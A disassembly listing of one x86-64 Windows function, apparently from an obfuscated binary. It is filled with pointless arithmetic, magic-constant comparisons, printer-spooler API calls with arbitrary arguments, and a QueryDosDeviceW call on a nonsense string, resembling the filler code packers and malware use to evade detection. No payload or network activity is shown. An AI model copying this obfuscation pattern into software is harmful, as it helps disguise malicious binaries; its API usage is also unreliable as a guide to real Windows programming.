mov rax, qword [rsp + 0x1f1c8]
movsx edx, byte [rax]
mov rax, qword [rsp + 0x1228]
movsx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rsp + 0x1be30], al
jmp 0x1401489bd
mov rcx, qword [rsp + 0x4c20]
mov rax, qword [rsp + 0xaf68]
mov rcx, qword [rcx]
and rcx, rax
mov rax, qword [rsp + 0x4c20]
mov qword [rax], rcx
movzx edx, word [rsp + 0x112e0]
mov rax, qword [rsp + 0x104a0]
movzx eax, word [rax]
movzx ecx, al
mov eax, edx
shl eax, cl
mov word [rsp + 0x3d10], ax
movsx eax, word [0x14015d2c8]
and eax, 0x6e7f
mov word [rsp + 0xfd20], ax
movzx edx, word [rsp + 0x3d10]
movzx eax, word [rsp + 0x1cd58]
movzx ecx, al
mov eax, edx
shl eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x104a0]
mov word [rax], cx
mov eax, dword [rsp + 0x189b4]
mov dword [rsp + 0x201a8], eax
cmp dword [rsp + 0x201a8], 0xe036e32f
je 0x140148a22
cmp dword [rsp + 0x201a8], 0xeefb4dca
je 0x140148a9a
jmp 0x140148ab4
lea rdx, [rsp + 0x4988]
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_ResetPrinterW
mov dword [rsp + 0xea10], eax
movsx edx, byte [rsp + 0x1be30]
mov rax, qword [rsp + 0x1f1c8]
movsx eax, byte [rax]
movzx ecx, al
mov eax, edx
sar eax, cl
mov ecx, eax
mov rax, qword [rsp + 0x1228]
mov byte [rax], cl
lea rax, [rsp + 0x14028]
mov qword [rsp + 0x20], rax
mov r9d, 0xff
lea r8, [rsp + 0x154d0]
mov edx, 0xd7
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_GetPrinterW
mov dword [rsp + 0x14028], eax
jmp 0x140148ab4
mov rcx, qword [rsp + 0xd7f0]
mov rax, qword [rsp + 0xb9d8]
or rax, rcx
mov qword [0x1401601a8], rax
jmp 0x140148b54
mov r9d, 0x65
lea r8, [rsp + 0x1ef10]
mov edx, 0x7f
mov rcx, qword [rsp + 0xcfa0]
call sub.WINSPOOL.DRV_SetPrinterW
mov dword [rsp + 0xea10], eax
mov rcx, qword [rsp + 0x1ef10]
mov rax, qword [rsp + 0x21b8]
mov eax, dword [rax]
mov ecx, dword [rcx]
sub ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
mov eax, dword [rsp + 0x154d0]
and eax, 0x7d868805
mov dword [rsp + 0x6e88], eax
lea rax, [rsp + 0x1ef10]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x15
lea r9, [rsp + 0x12950]
lea r8, [rsp + 0x1ef10]
mov rdx, qword [rsp + 0xb700]
mov rcx, qword [rsp + 0x1048]
call sub.WINSPOOL.DRV_GetPrinterDataW
mov dword [rsp + 0x189b4], eax
mov rdx, qword [rsp + 0xaf68]
mov rcx, qword [rsp + 0x14080]
call fcn.140148d70
jmp 0x140148ba3
mov rax, qword [rsp + 0x14080]
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
sar rax, cl
mov qword [rsp + 0xd7f0], rax
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x3f80]
or ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
movsx eax, word [0x14015d2c8]
sub eax, 0x3361
mov word [rsp + 0xfd20], ax
movsx ecx, word [rsp + 0xfd20]
add ecx, 0x5288
movsx eax, word [0x14015d2c8]
cmp ecx, eax
je 0x140148bea
mov eax, dword [rsp + 0x3f80]
mov ecx, dword [rsp + 0x17460]
and ecx, eax
mov rax, qword [rsp + 0x1ef10]
mov dword [rax], ecx
lea rax, [rsp + 0x1aac8]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xd940]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xdb
lea r9, [rsp + 0xaf68]
mov r8d, 0xf1
mov rdx, qword [rsp + 0xb700]
mov ecx, 0x2f
call sub.WINSPOOL.DRV_EnumPrintersW
mov dword [rsp + 0x47d8], eax
movzx eax, word [rsp + 0x3d10]
movzx ecx, word [0x14015d2cc]
add eax, ecx
mov word [rsp + 0x1cd58], ax
mov rax, qword [rsp + 0xb9d8]
mov qword [rsp + 0x201b0], rax
movabs rax, 0x61953ed952b11410
cmp qword [rsp + 0x201b0], rax
je 0x140148c72
jmp 0x140148ccc
mov eax, dword [rsp + 0x17460]
mov ecx, dword [rsp + 0x3f80]
xor ecx, eax
mov rax, qword [rsp + 0x21b8]
mov dword [rax], ecx
lea r9, [rsp + 0xaf68]
mov r8d, 0xe3
mov rdx, qword [rsp + 0x12950]
mov rcx, qword [rsp + 0xc670]
call sub.WINSPOOL.DRV_SetFormW
mov dword [rsp + 0x16050], eax
movsx ecx, byte [rsp + 0x1be30]
shl ecx, 1
mov rax, qword [rsp + 0x1f1c8]
mov byte [rax], cl
jmp 0x140148cfb
mov dword [rsp + 0x20], 5
lea r9, [rsp + 0x1aac8]
mov r8d, 0xf4
mov edx, 0xfc
mov rcx, qword [rsp + 0x2e08]
call sub.WINSPOOL.DRV_SetJobW
mov dword [rsp + 0xea10], eax
mov r8d, 0x8c
lea rdx, [rsp + 0xd940]
lea rcx, str.PredominanceGripperscomposingcondescensionRepublic
call qword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov dword [rsp + 0x3f80], eax
movzx eax, byte [rsp + 0x1be30]
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x14080]
mov r8, qword [rsp + 0x14080]
movzx edx, byte [rsp + 0x1be30]
mov ecx, 0x8a
call fcn.140011eb0
mov eax, dword [rsp + 0xc2f4]
add rsp, 0x201c8
pop rdi
pop rsi
ret